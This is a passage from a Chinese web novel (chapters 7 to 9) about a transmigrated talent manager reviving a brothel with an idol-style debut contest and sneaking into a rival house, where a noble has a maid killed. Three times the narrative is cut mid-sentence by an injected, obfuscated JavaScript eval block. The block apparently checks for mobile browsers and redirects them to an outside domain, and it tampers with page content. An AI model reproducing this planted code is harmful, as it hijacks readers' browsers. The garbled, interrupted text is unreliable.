般茴满意一笑,补充道:“届时醉香楼的咏霜姑娘会作为我们第一届选秀出道的特邀评委,姐姐们加油!我会为姐姐们做好后勤保障工作,咱们逸秀楼的未来就掌握在众位姐姐手中了!” 姑娘们在听到“咏霜”两个字的时候炸开锅来,面上表情和现代听到自己偶像明日要来自己家如出一辙,有好些姑娘激动地面颊通红,而有些更夸张,直接哭了起来。 “真的吗?咏霜姑娘真的会来?” 般茴微笑,心中涌起一阵热流。 果然无论古代还是现代,偶像的力量都超乎想象。 思及其,她大声道:“我般茴从不说谎!” 话音刚落,姑娘们就一溜烟跑没影了,没一个回房休息,全涌去了训练室。 直到身后传来少女的淡淡笑声,般茴才如梦初醒。 她回头看向逢黛,只见美人泪珠满面,唇角笑容却十分明媚:“逢黛此生,生是恩人的人,死时恩人的鬼,望恩人准许我入逸秀楼!” 逢黛语气坚定,似乎般茴不答应她就会赖在此处不走。 般茴眨了眨眼,看着逢黛,这姑娘身上有种很矛盾的特质,明明长得一副祸国殃民的妖妃脸,实际却是温温柔柔的性子,小意之余又不乏聪慧坚韧。 换句话说就是,逢黛身上有成为顶流巨星的潜质。 眼下时间和金钱都颇为紧迫,系统又让她在一个月内培养出个三流明星,让云都百姓尽知,那就只能走捷径。 这样说逢黛才是自己的恩人,她有天生的容貌buff加成,之前还是官家小姐,才艺必然不成问题。 般茴近前,拍了拍逢黛有些瘦削的肩膀,眼睛像是看到了救星一般亮了起来:“我自答应,欢迎加入逸秀楼。” 逢黛破涕为笑,也学着方才姑娘们的叫法:“谢过茴茴!” 候在一旁的春莺会心一笑,看着般茴生机蓬勃的面容,心中正欣慰,想着总不辜负芸娘的在天之灵,那边小姑娘就扭头朝她甜甜问道:“春莺姐姐,咱们楼内还有不少空房间吧?” 春莺回了声是,般茴就带着逢黛往楼上走去。 顺利安置好了逢黛,般茴跟着春莺回屋,她知道春莺想问什么,便将她是如何潜入醉香楼,又是怎么差点被人发现,以及如何趁着鱼目混珠的时机顺利摸上三楼,成功见到咏霜,并说服她来当出道大会的评委。 春莺听得是心惊肉跳,看着小丫头眉飞色舞地讲述,她又觉得自己多操心了,茴茴如今主意大着呢,想法也很多,她也该自己闯一闯,增长增长见识。 她正想着,般茴又正色道:“明日我要再去营销一番。” 毕竟逸秀楼没有壕无人性的土豪大爹,也没有帮女儿唱“美美桑内”的爸爸。 7. 第 7 章 晨光熹微,此刻正是卯时中,云都最繁华的商业街朱华街上已尽是商户,各色商品琳琅满目,好吃的好玩的应有尽有,此起彼伏的吆喝声不绝于耳。 大雍朝这个架空朝代不似般茴记忆中真实历史上的朝代,虽然也是个父权社会,但女子地位却大大提高,女子可以抛头露面,可以袒露胳膊小腿,可以经商做工,但却不能做官。 街上的女商户不少,个个面上被汗水浸湿,却没一个嫌累的,充满希望和期待的笑容尽情绽放在她们脸上。 三月的天气尚还有点冷气,走在街上,般茴拢了拢浅粉色藕荷外衫,忍不住打了个喷嚏。 卯时刚至,般茴就被姑娘们练习吹拉弹唱的声音吵醒,她尚且睡眼惺忪,就听到外面传来整齐划一的口号声: “我们的目标是什么——” “成功出道出道出道!” “大声点!目标是什么?!” “出道出道出道!!!” 堪称要掀翻屋顶的口号声将般茴的瞌睡虫瞬间全部吓跑了,她一骨碌爬起来,顶着一头鸡窝出来看看情况,没想到一打开门就被众姑娘团团围住,逢黛就站在队伍最前面。 看见般茴一瞬,逢黛眼睛一亮,绝色容颜笑开,说的话却差点让般茴怀疑自己还在做梦:“姑娘们,告诉茴茴,我们的目标是什么?” “出道出道出道!!!” 般茴被姑娘们的热情震得浑身发晕,主要是还没睡醒…… 她忙摆了摆手,强打起精神,拿出前世鼓励手下艺人那一套,不过一会儿就把姑娘们哄得更加热血,不再浪费时间往训练室去。 般茴得以喘口气,暗暗心惊于逢黛同姑娘们打成一片的速度,本来还担心逢黛会难以融入逸秀楼,也担心她会在家人去世的打击中沉溺一段时间,现在看倒是完全没必要了。 也是,不是富贵命,若是再要死要活一阵,这日子还怎么过? 她自在心中唏嘘一阵,转身回房换了身衣服,囫囵吃了桌上春莺从小厨房送来的吃食,这才出去。 在朱华街上优哉游哉地逛着,今天算是穿越过来的第三天,般茴这才正眼看了自己如今生活的时代,她深吸一口气,清鲜的空气顿时争先恐后涌入鼻腔,街上吃食散发的香气让人食欲大动,没忍住买了些春卷吃—— 一咬下去,酥脆香甜,唇齿留香。 般茴满足地眯了眯眼,又去附近的茶馆坐了坐,喝着喝着,就听到身边几乎所有人都在讨论着逸秀楼的出道大选。 她满意一笑,立刻竖起耳朵。 “哎,你们知道吗?那劳什子逸秀楼要举办什么‘出道大选’?” “自然知道,怎么不知道啊!整个城内可都传疯了,我家婆娘还要跟着我一起去看咏霜姑娘的妆面技巧呢!”一个嗓门颇大的瘦高大汉放下茶杯,啐道:“还说我若不让她去,她就要去小倌馆快活一番!你说这人讲不讲道理!” 先前发问的男人似乎深有同感,他附和一番,又疑问道:“但咏霜不是醉香楼的头牌吗?怎地说到了逸秀楼?” 瘦高大汉一拍脑门,这才反应过来,二人探讨一番没探讨出个所以然,瘦高大汉一拍桌子:“他大爷的,今日晚间咱们先去看看不就好了!” 般茴在一旁听着,没想到这群小乞丐怎么厉害,一下就将逸秀楼的“流量”提起来了,想来今日再营销一次,广告标题就写:惊!咏霜夸过的神秘美人将现身逸秀楼! 出道大会那日,人一定不会少! 般茴从袖中拿出昨日晚间让春莺跑印刷堂印刷出的传单,不引人注意地出了茶馆。 赶巧得是,刚走出去不过五百米,她就遇到了上次的那个小乞丐,对方正在包子铺前买吃的,那老板却嫌弃他乞丐身份,凶神恶煞要将他轰开。 小乞丐气得眼角通红,憋着股气只一个劲儿地说着:“我有钱!” 般茴最见不得这样的事,一个箭步上前,将那老板喝住:“干什么?!居然敢当街殴打小孩!” 她有意将声音抬高,嗓音清脆若莺啼婉转,偏生般茴气势十足,那老板瞬间缩回要推小乞丐的手。 小乞丐闻声回头,见是她时眼前一亮,嘴甜地叫了声漂亮姐姐。 般茴身形一顿,压住嘴角笑容,看向老板,神情拉了下来,她抬了抬下巴:“他都说了有钱,为何还要推他?” 人群慢慢聚了过来,听般茴这么说,大家也不傻,一瞬反应过来,看向老板的目光有些异样。 那老板面色通红,但仍色厉内荏道:“他说有钱就有钱了?一个脏兮兮的乞丐,也配吃我们家包子!” 般茴差点被气笑了,围观群众似乎也有些没眼看,吸气声不绝于耳,还有人小声嘟囔:“真是丢我们云都人的脸!” 她没再说话,只是看了一眼小乞丐,那小乞丐打了个激灵,从袖中抖出不少铜钱,因为动作有些慌张,几个铜板滚落在了老板脚下。 正好够两个包子的钱。 般茴挑了挑眉:“捡啊,两个包子的钱。” 老板面皮燥得通红,站在那没有动弹,围观群众本还有些不满般茴没有反驳老板的话,这会儿听她这么说话,一时皆拍手叫好,附和般茴的话让老板捡起来。 “捡起来啊!钱都送到脚边了!” 老板憋了半天没说出话来,随即火速蹲下身将铜板捡了起来,又从蒸笼中拿出了两个包子,一兜手丢给般茴,恶声恶气道:“给你!等着吧你!” 说完这话,老板立刻跑进店里去了,过了一会儿,里面却传来女人的怒骂和老板鬼哭狼嚎的声音,想来倒是被自家老婆训斥一通。 围观群众笑得更大声了,就在这时,店门从内打开,走出个比般茴高些的女子。 女子生得细眉大眼,发髻高高绾起,瞧着很是通情达理,果不其然她歉疚说道: “实在对不起姑娘和这位小兄弟,小店一直是我在经营,今日身子实在不爽利这才让我那死鬼丈夫来帮忙顶一会儿,未成想才一会儿就给我惹出这般祸事。请问姑娘是姓甚名谁,改日我登门道歉。” 般茴眼珠一转,笑嘻嘻道:“般茴,逸秀楼的新老鸨!” 一语激起千层浪,围观群众哗然,再看向般茴的目光中带了浓烈的探究。 如今云都中何人不知逸秀楼大名,都说逸秀楼将醉香楼的王牌咏霜挖走了,他们还以为逸秀楼的老鸨是个如何老谋深算的,却没想到竟是面前这个一脸无辜的黄毛丫头。 老板娘也是愣在原地,没待众人反应过来,般茴就拉着小乞丐一溜烟跑没影儿了。 神秘感要一点点揭晓才好玩儿。 她将小乞丐拉到僻静角落,确定没人跟上来,这才从袖中拿出传单,眼见着小乞丐眼神晶亮晶亮地看着他,一双眸子灿若繁星,面上灰尘也不知何时擦净了不少,露出一张颇为精致的笑脸。 说着是小乞丐,对方不过比她矮了半个头,十岁出头的样子。 般茴没忍住噗嗤一笑,问道:“你叫什么名字?” 小乞丐:“明舒。” 般茴弯了弯眼睛,没有多问:“明舒,再帮姐姐叫些人过来,说好了一人两百文,一分不会少。” 像上次一样,他一溜烟跑没影了,不过一会儿,好些同他一样的孩子聚集过来。 般茴将传单一一发给他们,又叮嘱一番该说的话,孩子们从她手中接过银钱,欢天喜地地四散开来。 明舒却还没走,般茴有些疑惑地看着他。 原主不过十五岁的年龄,过了今年生辰才十六岁,按古代来说这年龄不小了,然原主长的颇具欺骗性,一双灵动的圆眼让人觉得不过十一二岁的年龄。 明舒看着她漂亮的眼睛,脸庞不争气地红了起来,将方才般茴给他的二百文钱又塞了回去,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178868|180857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一溜烟跑没影了。 般茴无奈,想着下次见到他再把钱给他。事情超额完成,她随即回了逸秀楼。 此时距午间还有些时候,逸秀楼内空荡荡的,姑娘们还呆在训练室中呢。 般茴从库房取来上次买回来的演出服和各色妆粉首饰,就这样大包小包抱着往训练室去。 还在刻苦训练的姑娘们看着般茴的动作,一时摸不准她想要做什么,正疑惑之际,就见般茴擦了擦一脑门的汗,露出洁白的牙齿:“姐姐们,暂停一下训练,我们来试下妆造。” 一旁的春莺会意,叫停正在训练的姑娘们,又让她们一排站好,般茴按容貌和气质特征将她们分为三组,从一堆衣服中挑出适合她们的那一件,让她们各自回房换了。 轮到逢黛时,般茴再次惊叹于逢黛十分能打的颜值,纠结好一会儿,最终将绯色绫锦海棠衣给了她,又问道:“还适应吗?你打算练哪一项?” 逢黛乖巧一笑:“姐妹们听说我的遭遇后都很怜惜我,适应起来没什么问题,至于练哪一项,茴茴猜一猜?” 般茴看了她一眼,了然道:“舞。” 逢黛夸张地瞪大双眼:“茴茴怎知?” 般茴:…… 姐姐你穿的舞裙啊。 她还在纠结怎么说,逢黛就笑道:“逗你呢,我先去换了。” 接下来就是之前般茴任命的三个小组长,分别是兰溪,铃铃,乘湘。 兰溪唱曲儿极在行,长相清纯可爱;铃铃跳舞厉害,长相精致漂亮;而乘湘弹得一手好琴,为人和长相都清冷脱俗。 逢黛没有来之前,般茴就想要在她们三个人中选出一个完成任务,她们三人专业实力不俗,颜值虽不像咏霜和逢黛之流那么能打,但并不差。 完成逢黛的这个任务后,般茴便可着重培养她们,除了她们三人之外,楼中还有几个苗子不错,般茴很看好她们。 一会儿的功夫,姑娘们就换好了衣服鱼贯而入,般茴眼前一亮—— 只见面前莺莺燕燕流光溢彩,美人列席,倒衬得这平平无奇的训练室一下上了档次! 般茴心中大受鼓舞,又忙活了一下午针对各位姑娘的面部特征,设计了她们到时候出场时的妆容,主打弱化面部瑕疵,强化优点特色。 作为一个金牌经纪人,般茴秉承技多不压身的念头,学了好些东西,前世没有用上,这会儿倒是用上了。 楼中一时热闹非凡,姑娘们惊叹于般茴化腐朽为神奇的能力,好奇问她从哪出学得,般茴打了个哈哈,只说小时候自家娘亲专门教自己画的。姑娘们不信,待要细问,又被般茴转移话题搪塞过去,姑娘们也就识趣闭了嘴。 几乎到日头西落的时候,般茴才将手中事情忙完,她伸了伸懒腰,看着面前姑娘们一张张漂亮的脸蛋,浓重的成就感油然而生。 手边是春莺午时端过来的小饭,般茴一口没吃,眼下早已冷掉。 她这人有个坏习惯,一忙起来就忘了时间,也忘了吃饭,这会儿看着轩窗外的落日,这才反应过来已至晚间,肚子正在咕咕叫。 刚想扒拉两口饭,却发现饭菜已然冷掉,她无奈放下饭菜,对上姑娘们的目光,一时失语。 只见姑娘们眼中尽是泪光,她们感动于般茴这般认真的态度,要知道,老鸨们素日都是磋磨别人的主儿,自己享清福儿,不把姑娘们当人看,哪里有一个像般茴这般亲力亲为的,而且人家般茴还只是个小丫头。 小丫头樱唇轻启,却没说话,只拿一双圆眼无辜地看着她们,羽睫轻轻扇动。 姑娘们:!!! 补足力量了!立刻就去训练! 就在这时,逸秀楼外突然传来一阵喧闹之声。 “就是这儿,逸秀楼!” “终于找到了!咏霜!咏霜!” “咏霜夸过的神秘美人,那要美成什么样?” 8. 第 8 章 般茴自窗边探出头去,果然看到了一大堆人正聚在逸秀楼楼下,守正门的几个彪形大汉打了个激灵,忙拦下一脸兴奋之色要往里冲的人们。 这一拦可真拦出事了,好些人有些生气,口中嚷嚷着:“为何不让我们进去?怎么你们一个小小青楼,也要搞醉香楼那一套?” “就是就是,快让我们进去!会不会做生意?” 彪形大汉们面无表情,瞪了一眼几个强出头的人,又指向门口立在地上的木牌子,上书四个大字: 暂停营业。 围观人等顿时唏嘘开来,很是扫兴,有人不甘心地问道:“咏霜真的在你们楼中吗?还有那个咏霜夸过的神秘美人?我们什么时候能看到她们啊?” 守门的几个彪形大汉也是一头雾水,不过秉承着多说多错的原则,无论这群人问什么,他们都冷着张脸什么都不说。 隔壁揽翠楼早被这动静惊动,她们尚在正常营业。 今日不知怎么回事,上门的人竟没几个,好些姑娘这会儿得了闲,都聚在窗边看逸秀楼的动静。 李瑛姑也被吸引了注意,早在那群人和守门的吵起来之前就倚在门旁细细观察,一口银牙差点被咬碎。 昨日才信誓旦旦同楼内姑娘们说逸秀楼三日内必然完蛋,这会儿就被疯狂涌来逸秀楼的人潮啪啪打脸。 她脸色十分不好看,又见逸秀楼仍旧不开门,惹得一堆人挤在楼下骂,心中顿时好受不少。 哼!果不其然,芸娘的那个小丫头是个傻子,这么多人来了还不开门营业,给她机会都抓不住! 还说什么咏霜要来她们楼中,又说什么来了个咏霜都夸过的神秘美人。 瑛姑眼神怨毒,来的人也是真够蠢得,这么拙劣的谎话都相信,一个个脑子都被驴踢了! 愤恨归愤恨,生意总是要做的,这不,瑛姑此刻亲自下场,调笑道:“各位爷这都信啊?” 那群人听到这话,齐刷刷地回头看向瑛姑,瑛姑顿时挺了挺胸脯,面上一派傲气,口中不屑道:“实不相瞒,我们揽翠楼同这逸秀楼是对门,可从没有听说她们楼里什么时候来了咏霜,也不知道何时来了个神秘美人。” 人群立刻一片哗然。 瑛姑眼见着自己的话起了作用,神色更加得意:“不瞒各位爷说,前些日子这逸秀楼差点垮了,东家跑路,前鸨母也死了,楼中姑娘们余下不足三成,都是些歪瓜裂枣。这才歇业关门,不让各位爷进去。” 众人一听,这还得了,忙问瑛姑道:“你说的是真的?” 瑛姑:“自然!” 得到肯定的答案,人群一下子炸开锅来,面上皆是愤怒之色,将守门的几个人团团围住,眼见着两方人马就要打起来,从逸秀楼内突然传来少女的娇喝: “住手!你们这帮人是要干什么?!” 众人闻声向上看去,窗边却早已没了人,不一会儿一个小姑娘从中出来,又将门“砰”得一声关上。 来人正是般茴,她本在楼上美滋滋地欣赏着这群人抓耳挠腮的样子,没成想倒跳出个程咬金给她泼脏水,话里话外都在抹黑逸秀楼。 般茴坐不住了,从春莺处得知那老虔婆的来历,得知芸娘生前就同她不对付,还被她坑过一次后,她更生气了,立刻下楼去扳回场面。 她人不高,但此刻面上满是凶劲儿,菜刀限时返场,几个彪形大汉配合着站在她身后,倒还真有些震慑力。 只见般茴停在瑛姑面前,上下打量她一眼,瑛姑盯着她手中的刀,下意识吞了吞口水,往后退了几步。 就在众人以为一场血案就要发生之际,般茴却突然大哭起来: “瑛姑,你为何这样说我们逸秀楼?这让我们还怎么做生意啊?你平日里抢生意把我们抢的都歇业了,怎么这会儿还要抹黑我们,啊啊啊我不活了!给你刀杀了我吧!” 说着她不由分说将刀塞到瑛姑手中,一副“你来啊你来啊,砍死我”的无赖模样。 瑛姑:…… 围观群众:…… 瑛姑被般茴的动静吓得心脏骤停,眼见着众人将目光投到她手中的砍刀上,神色一慌,立刻丢开手,口中嗫嚅着“没有”,整个人都被吓傻了。 好半会儿她反应过来,围观群众已经开始安慰般茴,口中旁若无人地说着她的坏话。 “姑娘,甭和这半老徐娘疯婆子一般见识!” “就是就是,这样心思恶毒的人实在……简直有辱斯文!” “姑娘好,小生这厢有礼了,请问姑娘……” 般茴被围在人群中间,见她看过来,那黄毛丫头在人看不到的角落冲她扮了个鬼脸。瑛姑被气得脑袋发晕,这会儿走上前去,大声吼道:“这死丫头在骗你们!骗你们知道吗!” 可惜围观群众没一个相信她的,般茴刚才的表演太过炸裂,一下就让所有人站在她这边,他们听瑛姑这样说,刚想出言维护,般茴就哭着道: “若是咏霜到时候没有来我们逸秀楼,我给瑛姑磕头认罪可好?” 又是这样!这死丫头! 瑛姑还没得及说话,般茴又哽咽道:“瑛姑造我们逸秀楼的谣也就罢了,为何还要造咏霜的谣?咏霜姑娘都说了出道大会那一天会来我们逸秀楼,难不成瑛姑能做咏霜姑娘的主儿?” 这一堆人几乎可以说都是来看咏霜的,此刻听般茴这么说,个个面上嗤笑道:“姑娘说笑了,我们咏霜可是九重天上的仙子,哪里会同这般污秽之物又牵扯?” 瑛姑被这话气得浑身发抖,一个没撑过来竟然晕了过去。 揽翠楼中的姑娘本还在楼上看戏,这会儿一拥而下扶起瑛姑,神色慌张地回了楼内。 闹事的人终于被赶走了,般茴找准机会想要开溜,却被众人围住不得动弹。 “能不能让我们先看看那神秘美人长什么样子啊,姑娘?” “对啊,让我进去看看咏霜吧!” 般茴并不管这些问题,朝身边的几个彪形大汉使了个眼色。 那几个大汉立刻会意,将般茴同他们隔开,咧出营业式假笑:“各位爷请回吧,我们东家身子不好,这会儿浑身难受就先回去了,诸位只要出道大会那天过来,保准能看到自己想看的。” 众人不甘心,仍想要向前涌去,但那几个彪形大汉可不是纸糊的,一使劲儿就将他们轰开了。 没办法,众人只能灰头丧气地离去。 * 翌日。 上午先在楼中看了看姑娘们的练习,般茴很满意姑娘们的认真态度和训练效果。 直到下午快到晚间的时候,她又拿出上次去醉香楼时穿的小厮衣裳,大摇大摆地从后门出去了。 随着出道大会的逼近,这几日在逸秀楼正门前逡巡的人不在少数,为了减少不必要的麻烦,般茴只能从后门出去。 很快到了醉香楼,般茴轻车熟路地攀上其后院的围墙,露出半个脑袋观察院内的动静。 今日醉香楼出奇地十分安静,般茴心中有些纳闷,右眼皮不安地跳了跳,但箭在弦上不得不发—— 她腿挂在墙上好一会儿,再不下去就要麻了。 瞅准时机,趁着四下无人,般茴一口气从墙上跳了下去。 这次没有遇到大黄狗,她想起上次去醉香楼差点被人发现的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178869|180857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情,仍有些不寒而栗。 周围静悄悄的,好几次有仆从自后院错落有致的长廊中端盘而过,竟是目不斜视,压根不朝这边看一眼。 般茴仍装作小厮模样,在后院中转了转,奇怪的是,分明她上次来过一次,这会儿却全然忘记了主楼在什么地方。 她又不敢跟着那群丫鬟龟公,唯恐被对方发现,那可真是吃不了兜着走。 听说因为醉香楼看人下菜碟,只许那些家世显赫相貌堂堂的人进来,好些平民百姓不服气,偷偷潜入醉香楼几次,竟都是被打得皮青脸肿的回来了,问就是再也不敢去了。 这话还是她那次同春莺谈这事时春莺告诉她的,般茴听后心中感慨真是劫后余生,幸好当时没有被抓住。 在后院中七拐八绕,一个拐角过去,般茴直接和一个人撞到一起,她吓了浑身汗毛都竖了起来,对方似乎也很害怕,直接跌坐原地。 般茴忙往下拉了拉帽子,正想浑水摸鱼赶紧过去,就见对面那人爬了起来,一把拉住她的袖子:“站住!” 声音有些熟悉…… 等等,般茴偷眼看她,顿时倒吸一口凉气,对方就是她刚穿越过来时,同她争吵的荷芳! 天杀的!真是冤家路窄,这么大的醉香楼怎么独独碰上她了! 般茴浑身直冒冷汗,下意识想要拍开她的手,却被荷芳直接掀掉了帽子! 果不其然,荷芳一眼就认出她来,脸上笑容狰狞起来,正欲开口喊人过来,般茴打了个激灵,一个箭步上去,捂住她的嘴—— 事关小命,般茴手上几乎把吃奶的劲儿都使出来了,见对方还一副怨毒模样,她故作凶恶:“警告你,我身上可是带了匕首过来,你如果敢叫,我立刻把你杀了,看看到底是你们楼内的侍卫先来打死我,还是阎王爷先来收你的小命!” 荷芳眼中闪过惧意,她慢慢停止挣扎,般茴再三和她确定,这才松开手,不成想刚一松手,这荷芳竟立刻叫了起来。 “来人呐!有贼进来了!” 般茴吓得魂飞魄散,好在她反应及时,捡起地上的一枚大石头,一狠心朝着对方脖颈处砸了一下。 荷芳立刻水灵灵地昏了过去,般茴就近将她拖到附近的一个类似杂物间的地方,迅速和她互换了衣服,出来后迅速将门反锁。 不过一会儿,楼内巡查的侍卫应声而来,见到般茴穿着楼中侍女的衣物,便问她发生了什么事。 般茴故作一副惊慌失措的姿态,随意指了个方向:“那边……我看到那人往那边去了!” 侍卫们眼神一凛,顺着她手指的方向追去。 般茴不敢耽误,保不齐后面又出事情,这次可没有上次那么好的运气,有个官二代给自己吸引视线。 正好一群丫鬟鱼贯而入,般茴心中一喜,不着痕迹地插在队伍后面。 跟着她们进了楼内,般茴这才松了一口气,焦急地四处寻找着圆儿的身影。 好在她有些运气,还真被她找到了。 只见不远处圆儿端着个玉白瓷瓶,就要往三楼而去。 般茴立刻上前拦下圆儿,二人交换了眼神,圆儿点了点头,带着她就要往三楼去。 然就在这时,一浓妆艳抹的美艳妇人拦住二人,圆儿赶忙行礼叫了声妈妈。 这人是葛三娘! 葛三娘看着有些急切,她看了一眼圆儿,又看了一眼她身后的般茴,没待般茴反应过来,就一把拽着她的手要将她拉走。 圆儿急得快要哭出来了,正要搬出咏霜,葛三娘瞪了她一眼,没好气道:“你的事重要还是我的事重要!还想顶嘴,小蹄子仔细你的皮!” 9. 第 9 章 说完这话后,葛三娘眯起涂着浓妆的丹凤眼,细细看了般茴一翻,眼神越发狐疑。 般茴额上惊起冷汗,心中咚咚直跳,只见葛三娘微微启唇,正欲说话,楼上却突然窜出来个身量不高的姑娘。 对方微微倚在檀木红栏杆边上,眼眸好容易瞧着三娘,语带焦急立刻叫道:“妈妈,快些上来吧!” 葛三娘被那姑娘一打断,立刻收了话头,莲步轻移拾级而上,不忘回头剜般茴一眼,颐指气使道:“你这死丫头怎么这么没有眼力见儿,还不跟上?!” 般茴打了个激灵,低声唱了个喏。 这个时候若是让咏霜出面保下她,未免有些太过刻意,何况她的身份还是个定时炸弹,暴露之后咏霜再为她说话就很不妥了。 咏霜再受欢迎,不过也是楼中妓子,全副身家还是捏在葛三娘的手里,葛三娘想让她生,她才能生。故而此时,万不可告知咏霜,到时候再将咏霜拉下水就得不偿失了。 哎,早知道今日不来了。 般茴今日过来,无外乎两个目的,其一,告知咏霜自己假借其名义为逢黛造势一事,免得咏霜误会以为她是个唯利是图不择手段之人;其二,自然是来醉香楼学习学习人家的经营模式,取其精华去其糟粕一下。 她心中百转千回,脚步跟着葛三娘上去,又微微转头看向手足无措愣在原地的圆儿,冲对方迅速做了个口型:‘不用担心,不要告诉咏霜姑娘。’ 语罢,般茴没有顾及圆儿的反应,敛住神情跟着葛三娘走了。 她本不甚紧张,然而随着脚下木阶越来越多,般茴的心情开始惴惴不安起来,她望了眼前头带路的葛三娘,觑着对方有些匆忙地背影,心中不安感像是越烧越旺的木柴火堆。 偏偏她又问不出口,怕说多了让葛三娘起疑。 正惶惶之际,般茴已随着葛三娘到了醉香楼最高楼,她没忍住微微抬头,就被眼前的景色惊得说不出话来。 精雕细琢的飞檐之下,檀香木长凳蜿蜒开来,几根栏杆瘦瘦于风中撑着头上凉亭,凭栏远眺,秀美柔软的秦淮河静静流淌,不远处落日同江水交融,细碎余晖若翩翩蝴蝶,扇动着莹翅吻在潺潺水流之上。 此时已近晚间,伙夫们撑着一叶小舟,悠然游荡于江水之上;岸两边火树银花般挂上灯笼,远远瞧着婉约温馨。 伴随着葛三娘轻轻敲门的声音,般茴回过神来,就对上三娘恶狠狠瞪过来的眼神,她压低声音呵斥:“你这丫头怎这般大胆,冲撞了贵人担待的起吗!低下头!” 她依言照做,面前正对着凉亭的屋门就被人从里打开,葛三娘冲开门的人卖了个笑脸,这才同般茴一同进去。 进门一瞬,屋门就被那人关上,般茴手心起了些薄汗。 屋内,淡淡的龙涎香混杂着苦涩茶香刺激着她的鼻息,莫名让人有些喘不过气来。 清冷若冰雪般的声音传来,听着颇为疏离淡然:“三娘。” 葛三娘应了一声,忙快步走到那人面前,香帕掩唇笑道:“公子今日怎有时间过来了?” 坐于上首的贵人并没回答她的问题,葛三娘早有预料,遂转了个话题:“前日有桩趣事,镇南侯府的二公子在众目睽睽之下被老侯爷揪着耳朵拉走了。” 修长指尖敲击桌面的动静一顿,随即又恢复了原来的动作,容婴微哂:“有些意思,怪不得今日去寻他竟罕见地闭门不出,想来是被老侯爷将腿打折了。” 葛三娘笑了笑,又道:“这可怪不得我们这帮人不替他打掩护,老侯爷可是发话了,若是有人在醉香楼中见到二公子,直接报与他,可领赏银百两。” 容婴唇角泻出一声嗤笑。 般茴听着二人旁若无人笑谈,却是丝毫不顾主座边跪在地上的姑娘,那姑娘浑身战栗,漂亮的脸蛋上血痕纵横,在她身旁,名贵的青瓷鱼纹茶盏粉身碎骨—— 看着像是被这茶盏兜头砸过来,那姑娘的额头通红一片,此刻不断将头重重地磕在地上,不多时,血迹就顺着冰冷的地板张牙舞爪地蔓延开来,一直蔓延到般茴脚下。 般茴不被允许抬头,垂在腰间的双手却因恐惧颤抖起来,这个视角,般茴只能看到主座上男人垂落在地的月白绣竹锦袍,穿越这么多天,这还是她第一次真切意识到封建王权和阶级差异。 他们这群人,只要一个眼神,甚至不用他们自己说,就会有无数拥趸替他们杀人,不,那都不叫杀人,应该叫碾死一只蝼蚁。 人好歹会反抗一下,但蝼蚁不会,蝼蚁只会跪在地上像只狗一样哀求,杀人者残忍笑笑,并不在意。 果不其然,恍惚间,般茴听到葛三娘似是随意问道:“公子要怎样处置这姑娘?” 公子顿了顿,声音没有丝毫起伏:“媚主的奴才,你说呢?” 葛三娘面上笑容凝滞,她不敢反驳。几乎在少年话音落下一瞬,跪在地上的姑娘就被方才开门的人一剑封喉。 温热的血液似乎是刻意地溅在了般茴面上,她蓦地瞪大双眼,身侧的手颤抖得更厉害了。 那姑娘被拖下去了。 “你,抬头。” 般茴呼吸不畅,冷气如跗骨之蛆一个劲儿将她啃食,直到葛三娘笑意勉强地扯着她的袖子,般茴这才回过神来,猛地抬起头。 面前之人身形颇有些清瘦,浑身气质疏冷孑然,肤色冷白,狭长的眼眸此刻轻轻掀起,视线正落在般茴身上。 像是见到了什么新鲜玩意,容婴瞳孔微缩,嘴角扯出一抹颇有些恶意的笑容。 般茴心中顿时升腾起浓浓的不安,那种感觉很难形容,怎么说呢,就像是被只毒蛇牢牢盯住,你知道你是对方的猎物,却不知道对方什么时候会发起攻击,将你拆吃入腹。 果不其然,容婴扫了葛三娘一眼,后者会意,立刻退了出去,临走前深深地看了般茴一眼。 房门被关上了。 “你很怕本宫?” 般茴稳住心神,修剪圆润的指甲因紧张无意识掐进肉里,她深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178870|180857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸一口气,随即直视他的眼睛,声线平平:“怕。” 容婴来了兴致,细腻的乌木沉香浮动,般茴就见对方从主座上站起身来,盘折在地上的锦袍霎时平缓展开,数息之间停在般茴面前。 少年身量很高,背着光的时候,般茴整个人能被他的影子笼住,密不透风,逃脱不得。 她强忍住向后拉开二人距离的冲动,任由对方跨越正常社交距离,直到锦袍和绿沈砂绣粗衫交缠在一起,对方死死盯着她的眼眸,随后轻声在她耳边说了句话。 凉意自后脊直窜天灵盖,胸腔中的心脏急速跳动起来,般茴眨了眨眼,羽睫根根分明,分辨道:“奴就是这醉香楼中的姑娘,奴叫荷芳。” 容婴清冷的面庞染上笑意,眼尾的泪痣随之隐没:“哦?荷芳?那为何本宫前日在街上看到你穿着小厮衣物?” 街上?前日? 般茴心头猛然一跳,浑身僵硬,脑中却飞速运转。 怪不得方才他让自己抬头! 